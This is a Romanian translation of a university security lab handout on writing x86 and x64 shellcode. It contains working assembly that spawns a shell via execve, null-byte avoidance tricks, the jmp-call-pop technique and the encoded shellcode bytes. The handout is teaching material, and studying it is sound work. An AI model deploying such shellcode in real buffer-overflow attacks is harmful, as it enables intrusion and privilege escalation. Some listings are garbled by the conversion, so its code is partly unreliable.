Scrierea Shellcode

Copyright © 2006 - 2020 Wenliang Du.

This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. If you remix, transform, or build upon the material, this copyright notice must be left intact, or reproduced in a way that is reasonable to the medium in which the work is being re-published.

Scopul lucrării

Shellcode este utilizat pe scară largă în multe atacuri care implică injectarea de cod. Scrierea shellcode este destul de dificilă. Deși putem găsi cu ușurință shellcode existent de pe Internet, există situații în care trebuie să scriem un shellcode care satisface anumite cerințe specifice. Mai mult, pentru a putea scrie propriul nostru shellcode din zgârietura este întotdeauna interesantă. Există mai multe tehnici interesante implicate în shellcode. Scopul acestei lucrari de laborator este să ajute studenții să înțeleagă aceste tehnici, astfel încât să își poată scrie propriul cod shell. Există mai multe provocări în scrierea codului shell: una este să vă asigurați că nu există zero în binar, iar cealaltă este să aflați adresa datelor utilizate în comandă. Prima provocare nu este foarte grea de rezolvat și există mai multe moduri de a o rezolva. Soluțiile la cea de a doua provocare au condus la două abordări tipice pentru a scrie shellcode. Într-o primă abordare, datele sunt puse în stivă în timpul execuției, astfel încât adresele pot fi obținute din indicatorul stivei. În a doua abordare, datele sunt stocate în regiunea codului, imediat după o instrucțiune de apel. Când instrucțiunea de apel este executată, adresa datelor este tratată ca adresa de retur și este pusă pe stivă. Acest laborator acoperă următoarele subiecte:

- 1. Shellcode
- 2. Cod în limbaj de asamblare
- 3. Dezasamblarea codului

2 Desfăsurarea lucrării

2.1 Sarcina 1: Scrierea shellcode

În această sarcină, vom începe mai întâi cu un exemplu de shellcode, pentru a demonstra cum se scrie un shellcode. După aceea, va trebui să modificați codul pentru a îndeplini diverse sarcini.

Shellcode este scris de obicei folosind limbaje de asamblare, care depind de arhitectura computerului. Vom folosi arhitecturile Intel, care au două tipuri de procesoare: x86 (pentru CPU pe 32 de biți) și x64 (pentru CPU pe 64 de biți). În această sarcină, ne vom concentra pe shellcode pe 32 de biți. În sarcina finală, vom trece la shellcode pe 64 de biți shellcode. Deși majoritatea computerelor din zilele noastre sunt computere pe 64 de biți, acestea pot rula programe pe 32 de biți.

2.1.1 Sarcina 1a. Procesul integral

În această sarcină, oferim un cod shell x86 de bază pentru a vă arăta cum se scrie un cod shell de la zero. Codul poate fi descărcat de pe site-ul web al laboratorului.

Codul este furnizat mai jos. **Notă**: vă rugăm să nu copiați și lipiți din acest fișier PDF, deoarece unele caractere ar putea fi modificate din cauza copierii și lipirii. În schimb, descărcați fișierul de pe site-ul web al laboratorului.

Programul vulnerabil server.c este prezentat mai jos. 2 3

Listing 1: Programul vulnerabil mysh.s

```
section .text
    global _start
        _start:
        ; Store the argument string on stack
        xor
             eax, eax
        push eax
                          ; Use 0 to terminate the string
        push "//sh"
        push "/bin"
                          ; Get the string address
        mov
             ebx, esp
        ; Construct the argument array argv[]
        push eax
                          ; argv[1] = 0
                          ; argv[0] points "/bin//sh"
        push ebx
        mov
             ecx, esp
                          ; Get the address of argv[]
        ; For environment variable
             edx, edx
                          ; No env variables
        xor
        ; Invoke execve()
                          = 0x000000000
             eax, eax
        xor
        mov
                          = 0x00000000b
              al, 0x0b
        int 0x80
```

Compilarea. Compilăm codul de asamblare de mai sus (mysh.s) folosind nasm, care este un asamblor și dezasamblor pentru arhitecturile Intel x86 și x64. Opțiunea -f elf32 indică faptul că dorim să compilam codul în format binar ELF pe 32 de biți. Formatul executabil și legabil (ELF) este un format de fișier standard comun pentru fișiere executabile, cod obiect, biblioteci partajate. Pentru codul de asamblare pe 64 de biți, trebuie folosită opțiunea elf64.

```
$ nasm -f elf32 mysh.s -o mysh.o
```

Editarea legăturilor pentru a genera binarul final. Odată ce obținem codul obiect mysh.o, dacă vrem să generăm un executabil binar, putem executa editorul de legături, 1d, care este ultimul pas în compilare. Opțiunea -m elf_i386 opțiune înseamnă generarea binarului ELF pe 32 de biți. După acest pas, obținem codul executabil final mysh. Dacă îl rulăm, putem obține un shell. Înainte și după rularea mysh, tipărim ID-urile de proces ale shell-ului curent folosind echo \$\$, astfel încât să putem vedea clar că mysh începe într-adevăr un nou shell

```
$ 1d -m elf_i386 mysh.o -o mysh
$ echo $$
25751 # ID de proces al shell curent
$ mysh
$ echo $$
9760 # ID de proces al shell nou
```

Obținerea codului mașină. În timpul atacului, avem nevoie doar de codul-mașină al codului shell, nu de un fișier executabil autonom, care conține alte date decât codul-mașină real. Tehnic,

doar codul-mașină se numește shellcode. Prin urmare, trebuie să extragem codul-mașină din fișierul executabil sau fișierul obiect. Există diferite moduri de a face asta. O modalitate este de a folosi comanda obijdump pentru a dezasambla fisierul executabil sau obiect.

Există două moduri de sintaxă comune diferite pentru codul de asamblare, unul este modul de sintaxă **AT&T**, iar celălalt este modul de sintaxă **Intel**. În mod implicit, objdump utilizează modul **AT&T**. În cele ce urmează, folosim opțiunea -Mintel pentru a produce codul de asamblare în modul Intel.

```
$ objdump -Mintel --disassemble mysh.o
           file format elf32-i386
mysh.o:
Disassembly of section .text:
00000000 <_start>:
         0: 31 db
                          xor
                                     ebx.ebx
         2: 31 c0
                                     eax,eax
                          xor
                     ... (cod omis) ...
        1f: b0 0b
                          mov
                                     al,0xb
        21: cd 80
                                     0x80
                          int
```

În textul tipărit mai sus, numerele evidențiate reprezintă codul-mașină. Puteți utiliza și comanda xxd pentru a tipări conținutul fișierului binar. Ar trebui să puteți afla codul mașină al codului shell din ce tipăreste xxd.

Folosirea shellcode în cod de atac. În atacurile reale, trebuie să includem shellcode în codul pentru atac, cum ar fi un program Python sau C. De obicei stocăm codul mașinii într-un tablou, dar convertirea codului-mașină tipărit mai sus este destul de greu de făcut manual, mai ales dacă trebuie să efectuăm acest proces de multe ori în laborator. Am scris următorul cod Python pentru a ajuta în acest proces. Doar copiați ieșirea comenzii xxd (doar partea de shellcode) și lipiți-o în următorul cod, între rândurile marcate cu "". Codul poate fi descărcat de pe site-ul laboratorului.

Listing 2: Programul vulnerabil convert.py

```
#!/usr/bin/env python3

# Run "xxd -p -c 20 rev_sh.o",
# copy and paste the machine code to the following:
ori_sh =""
31db31c0b0d5cd80
31c050682f2f7368682f62696e89e3505389e131
d231c0b00bcd80
"""
```

```
sh = ori_sh.replace("\n", "")

length = int(len(sh)/2)
print("Length of the shellcode: {}".format(length))
s = 'shellcode= (\n' + ' "'
for i in range(length):
    s += "\\x" + sh[2*i] + sh[2*i+1]
    if i > 0 and i % 16 == 15:
        s += '"\n' + ' "'
s += '"\n' + ").encode('latin -1')"
print(s)
```

Programul convert.py va tipări următorul cod Python pe care puteți să-l includeți în codul de atac. Acesta stochează shellcode într-un tablou Python.

```
$ ./convert.py
Length of the shellcode: 35
shellcode= (
"\x31\xdb\x31\xc0\xb0\xd5\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0"
"\x0b\xcd\x80"
).encode('latin-1')
```

2.1.2 Sarcina 1b. Eliminarea zerourilor din cod

Shellcode este utilizat pe scară largă în atacurile cu depășirea zonei de memorie alocate. În multe cazuri, vulnerabilitățile sunt cauzate de copierile de șiruri, cum ar fi folosind funcția strcpy(). Pentru aceste funcții de copiere a șirurilor, zero este considerat sfârșitul șirului. Prin urmare, dacă avem un zero în mijlocul unui shellcode, copierea șirului se va opri după acel zero, astfel încât atacul nu va putea reuși.

Deși nu toate vulnerabilitățile au probleme cu zerourile, devine o cerință pentru shellcode să nu să aibă nici un zero în codul-masină; în caz contrar, aplicabilitatea shellcode va fi limitată.

Există multe tehnici care prin care se pot evita zerourile din codul shell. Codul mysh.s are nevoie de zerouri în patru locuri diferite. Vă rugăm să identificați toate acele locuri și să explicați cum poate codul folosi zerouri, fără a scrie zero în cod. Câteva indicii sunt date în cele ce urmează:

- Dacă vrem să atribuim zero lui eax, putem folosi mov eax, 0, dar făcând acest lucru, vom obține un zero în codul-mașină. O modalitate tipică de a rezolva această problemă este utilizarea instrucțiunii xor eax, eax. Explicați de ce ar funcționa asta.
- Dacă vrem să stocăm 0x00000099 în eax. Nu putem folosi mov eax, 0x99, deoarece al doilea operand este de fapt 0x00000099, care conține trei zerouri. Pentru a rezolva această problemă, putem mai întâi să setăm eax la zero și apoi să atribuim un număr cu lungimea de un octet cu valoarea 0x99 registrului a1, care reprezintă cel mai puțin semnificativi 8 biți din registrul eax.
- O altă modalitate este să folosim deplasarea. În codul următor cod, mai întâi se atribuie 0x237A7978 lui ebx. Valorile ASCII pentru x, y, z și # sunt 0x78, 0x79, 0x7a, și, respectiv, 0x23. Pentru că majoritatea procesoarelor Intel folosesc ordonarea Little Endian la stocare, octetul cel mai puțin semnificativ (adică, caracterul x) este cel stocat la adresa inferioară, deci numărul reprezentat de "xyz#" este de fapt 0x237A7978. Asta se poate vedea la dezasamblarea codului folosind utilitarul objdump.

După atribuirea numărului registrului ebx, deplasăm acest registru la stânga cu 8 biți, deci cel mai semnificativ octet, cu valoarea 0x23 va fi eliminat. Apoi deplasăm registrul la dreapta pentru 8 biți, deci octetul cel mai semnificativ va fi umplut cu 0x00. După aceea, ebx va conține 0x007A7978, adică echivalent cu "xyz\0", adică ultimul octet al acestui șir devine zero.

```
mov ebx, "xyz#"
shl ebx, 8
shr ebx, 8
```

Sarcină. În linia ① a shellcode mysh. s (listing 1), punem "//sh" pe stivă, De fapt, dorim să punem doar "/sh", dar instrucțiunea push trebuie să pună un număr de 32 biți. De aceea adăugăm un / redundant la început; pentru SO acesta este echivalent cu un singur "/".

Pentru a realiza această sarcină vom folosi shellcode pentru a executa /bin/bash, șir care are 9 octeți (10 cu zeroul terminator). Tipic, pentru a pune pe stivă acest șir, va trebui să facem lungimea multiplu de 4, asa că îl vom converti în /bin///bash.

Dar, pentru a îndeplini această sarcină, nu aveți voie să adăugați nici un / redundant, adică lungimea comenzii trebuie să fie 9 octeți (/bin/bash), Demonstrați cum se poate face asta. Pe lângă a arăta că puteți obtine un shell bash trebuie să demonstrați si că nu sunt zerouri în cod.

2.1.3 Sarcina 1c. Furnizarea argumentelor pentru apeluri sistem

În mysh.sh, în liniile **2** și **3**, construim tabloul argv[] pentru apelul sistem execve(). Cum comanda noastră este (/bin/sh), fără argumente pe linia de comandă, tabloul argv va conține doar două elemente: primul este un pointer la șirul care reprezintă comanda, iar cel de al doilea este zero.

În cadrul acestei sarcini avem nevoie să executăm comanda de mai jos, adică, vrem să folosim execve pentru a executa comanda de mai jos, comandă care folosește /bin/sh pentru a executa "1s -1a"

```
/bin/sh -c "ls -la"
```

În această nouă comandă, tabloul argv ar trebui să aibă următoarele patru elemente, toate acestea fiind necesare să fie construite pe stivă. Modificați mysh.s și demonstrați rezultatul execuției. Ca de obicei, codul nu poate contine zero, dar veti voie să utilizati "/" redundant.

```
argv[3] = 0
argv[2] = "ls -la"
argv[1] = "-c"
argv[0] = "/bin/sh"
```

2.1.4 Sarcina 1d. Furnizarea variabilelor de mediu pentru execve()

Al treilea parametru pentru apelul de sistem execve() este un pointer către tabloul variabilelor de mediu; acesta ne permite să transmitem variabile de mediu programului. În programul nostru exemplu (linia 4), trecem un pointer nul către execve(), deci nicio variabilă de mediu nu este transmisă programului. În această sarcină, vom trece câteva variabile de mediu.

Putem schimba comanda "/bin/sh" din shellcode mysh.s la "/usr/bin/env", care este o comandă pentru a tipări variabilele de mediu. Puteți vedea că atunci când rulăm codul shell, nu va fi nicio iesire, deoarece procesul nostru nu are nicio variabilă de mediu.

În această sarcină, vom scrie un cod shell numit myenv.s. Când acest program este executat, execută comanda "/usr/bin/env", care poate tipări următoarele variabile de mediu:

```
$ ./myenv
aaa=1234
bbb=5678
cccc=1234
```

Trebuie remarcat faptul că valoarea variabilei de mediu cccc trebuie să fie exact 4 octeți (nu există spațiu lăsat de adăugat la coadă). Facem în mod intenționat lungimea acestui șir de variabile de mediu (nume și valoare) să nu fie multiplu de 4.

Pentru a scrie un astfel de cod shell, trebuie să construim un tablou de variabile de mediu pe stivă și să stocăm adresa acestui tablou în registrul edx, înainte de a invoca execve(). Modul în care construim acest tablou pe stivă este exact la fel cu modul în care construim tabloul argv[]. Practic, mai întâi stocăm șirurile de variabile de mediu reale pe stivă. Fiecare șir are formatul nume=valoare și este terminat cu un octet zero. Trebuie să obținem adresele acestor șiruri. Apoi, construim tabloul de variabile de mediu, tot pe stivă, și stocăm adresele șirurilor în acest tablou. Tabloul ar trebui să arate ca următoarele (ordinea elementelor 0, 1 și 2 nu contează):

```
env[3] = 0  // 0 marchează sfârșitul tabloului
env[2] = adresa șirului "cccc=1234".
env[1] = adresa șirului "bbb=5678"
env[0] = adresa sirului "aaa=1234"
```

2.2 Sarcina 2. Folosirea segmentului de cod

După cum putem vedea din codul shell din Sarcina 2.1, modul în care rezolvă problema adresei datelor este că construiește în mod dinamic toate structurile de date necesare pe stivă, astfel încât adresele acestora să poată fi obtinute din indicatorul stivei, esp.

Există o altă abordare pentru a rezolva aceeași problemă, adică obținerea adresei tuturor datelor necesare structurilor. În această abordare, datele sunt stocate în regiunea codului, iar adresa acesteia este obținută prin intermediul mecanismului de apel al funcției. Să examinăm următorul cod.

Listing 3: Codul sursă al mysh2.s

```
section .text
    global _start
        _start:
            BITS 32
            imp short two
   one:
                                    0
        pop ebx
        xor eax, eax
        mov [ebx+7], al
                            ; save 0x00 (1 byte) to memory at address
           ebx+7
       mov [ebx+8], ebx
                            ; save ebx (4 bytes) to memory at address
           ebx+8
       mov [ebx+12], eax
                            ; save eax (4 bytes) to memory at address
           ebx+12
        lea ecx, [ebx+8]
                            ; let ecx = ebx + 8
        xor edx, edx
        mov al, 0x0b
        int 0x80
```

Codul de mai sus sare mai întâi la instrucțiunea de la locația two, care face un alt salt (la locația one), dar de data aceasta, folosește instrucțiunea de apelare. Această instrucțiune este pentru un apel de funcție, adică înainte de a trece la locația țintă, păstrează o înregistrare a adresei instrucțiunii următoare ca adresă de retur, astfel ca, atunci când revine din funcție, revenirea să fie la instructiunea care urmează imediat după instructiunea de apel.

În acest exemplu, "instrucțiunea" imediat după instrucțiunea de apel (linia 1) nu este de fapt o instrucțiune; ea stochează un șir. Cu toate acestea, acest lucru nu contează, instrucțiunea de apel va pune adresa (adică, adresa șirului) pe stivă, în câmpul adresei de retur al cadrului funcției. Când intrăm în funcție, adică după saltul la locația one, vârful stivei este locul unde este stocată adresa de retur. Prin urmare, instrucțiunea pop ebx va obține de fapt adresa șirului de caractere din linia 2 si o va salva în registrul ebx.

Asa se obtine adresa sirului.

Șirul la linia 2 nu este un șir terminat; este doar pentru a ține loc. Programul trebuie să construiască structura de date necesară în interiorul acestui loc. Deoarece adresa șirului este deja obținută, adresa tuturor structurilor de date construite în interiorul acestui loc poate fi derivată cu usurintă.

Dacă vrem să obținem un executabil, trebuie să folosim opțiunea --omagic atunci când rulăm editorul de legături (1d), astfel ca să se poată scrie în segmentul de cod. În mod implicit, segmentul de cod nu poate fi scris. Când acest program rulează, trebuie să modifice datele stocate în regiunea de cod; dacă nu se poate scrie în segmentul de cod, programul va eșua. Aceasta nu este o problemă pentru atacurile reale, deoarece în acele atacuri, codul este de obicei injectat într-un segment de date în care se poate scrie (de exemplu, stivă sau heap). De obicei, nu rulăm shellcode ca program independent.

```
$ nasm -f elf32 mysh2.s -o mysh2.o
$ ld --omagic -m elf_i386 mysh2.o -o mysh2
```

Sarcini. Trebuie să faceti următoarele:

- 1. Furnizați o explicație detaliată pentru fiecare rând a codului din mysh2.s, începând de la linia etichetată one. Vă rugăm să explicați de ce acest cod ar executa cu succes fișierul programul /bin/sh, cum este construit mtabloul argv[] etc.
- 2. Utilizați tehnica din mysh2.s pentru a implementa un nou shellcode, astfel încât să execute /usr/bin/env și să tipărească următoarele variabile de mediu:

a=11 b=22

2.3 Sarcina 3. Scrierea de shellcode pe 64 biti

Odată ce știm cum să scriem shellcode pe 32 de biți, scrierea shellcode pe 64 de biți nu va fi dificilă, deoarece acestea sunt destul de asemănătoare; diferențele sunt în principal în registre. Pentru arhitectura x64, invocarea apelului de sistem se face prin instrucțiunea syscal1, iar primele trei argumente pentru apelul de sistem sunt stocate în registrele rdx, rsi, respectiv rdi. Următorul cod este un exemplu de shellcode pe 64 de biți:

Listing 4: Codul sursă al mysh64.ss

```
section .text
    global _start
        _start:
        ; The following code calls execve("/bin/sh", ...)
        xor rdx, rdx
                            ; 3rd argument (stored in rdx)
        push rdx
        mov rax,
                 '/bin//sh'
        push rax
        mov rdi, rsp
                             ; 1st argument (stored in rdi)
        push rdx
        push rdi
                             ; 2nd argument (stored in rsi)
        mov rsi, rsp
        xor rax, rax
        mov al, 0x3b
                             ; execve()
        syscall
```

Putem folosi comenzile următoare pentru a compila codul în limbaj de asamblare în cod binar pe 64 biti:

```
$ nasm -f elf64 mysh_64.s -o mysh_64.o
$ ld mysh_64.o -o mysh_64
```

Sarcină. Repetați Sarcina 2.1.2 pentru acest shellcode pe 64 de biți. Și anume, în loc să executăm "/bin/sh", trebuie să executăm "/bin/bash", și nu avem voie să folosim niciun "/" redundant în șirul de comandă, adică lungimea comenzii trebuie să fie de 9 octeți (/bin/bash). Vă rugăm să demonstrați cum puteți face asta.

În plus pentru a arăta că puteți obține un shell bash, trebuie, de asemenea, să arătați că nu există zero în codul dvs.

3 Trimiterea rezultatelor

Trebuie să trimiteți un raport detaliat, cu capturi de ecran, să descrieți ce ați făcut și ce ați observat; de asemenea trebuie să explicați observațiile pe care le considerați surprinzătoare sau interesante. De asemenea includeți porțiunile de cod importante urmate de explicații. Anexarea codului fără explicații nu primește puncte.